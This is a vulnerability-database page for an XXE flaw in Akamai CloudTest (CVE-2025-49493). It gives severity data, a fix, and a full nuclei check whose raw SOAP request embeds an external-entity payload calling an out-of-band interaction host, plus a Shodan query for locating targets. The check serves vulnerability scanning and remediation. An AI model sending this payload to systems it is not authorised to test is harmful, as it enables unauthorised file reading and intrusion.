Browse / CVEs / CVE-2025-49493
CVE-2025-49493· akamai / cloudtest· CWE-611
Akamai CloudTest < 60 2025.06.02 - XML External Entity (XXE)
criticalseverity
9.1CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it
Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.
Impact
Unauthenticated attackers can exploit XXE injection to read arbitrary files from the server through malicious XML entities in SOAP requests.
Fix
Upgrade Akamai CloudTest to version 60 2025.06.02 (12988) or later that properly disables external entity processing.
How to confirm it
Send: POST /concerto/services/RepositoryService
Positive when: contains(interactsh_protocol, "dns") and contains(content_type, "text/xml") and contains(body, "XML stream")Run it with nuclei: nuclei -id CVE-2025-49493 -u <target>
The full check
id: CVE-2025-49493
info:
name: Akamai CloudTest < 60 2025.06.02 - XML External Entity (XXE)
author: xbow,3th1c_yuk1
severity: critical
description: |
Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.
impact: |
Unauthenticated attackers can exploit XXE injection to read arbitrary files from the server through malicious XML entities in SOAP requests.
remediation: |
Upgrade Akamai CloudTest to version 60 2025.06.02 (12988) or later that properly disables external entity processing.
reference:
- https://xbow.com/blog/xbow-akamai-cloudtest-xxe/
- https://techdocs.akamai.com/cloudtest/changelog/june-2-2025-enhancements-and-bug-fixes
- https://nvd.nist.gov/vuln/detail/CVE-2025-49493
classification:
epss-score: 0.0214
epss-percentile: 0.82194
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
cvss-score: 9.1
cve-id: CVE-2025-49493
cwe-id: CWE-611
cpe: cpe:2.3:a:akamai:cloudtest:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: html:"Akamai CloudTest"
vendor: akamai
product: cloudtest
tags: cve,cve2025,akamai,cloudtest,xxe,oast,rce,vkev,vuln
http:
- raw:
- |
POST /concerto/services/RepositoryService HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
SOAPAction: ""
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://{{interactsh-url}}">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(content_type, "text/xml")'
- 'contains(body, "XML stream")'
condition: andReferences
- https://xbow.com/blog/xbow-akamai-cloudtest-xxe/
- https://techdocs.akamai.com/cloudtest/changelog/june-2-2025-enhancements-and-bug-fixes
- https://nvd.nist.gov/vuln/detail/CVE-2025-49493
Use this check only on systems you are authorised to test. Where the data comes from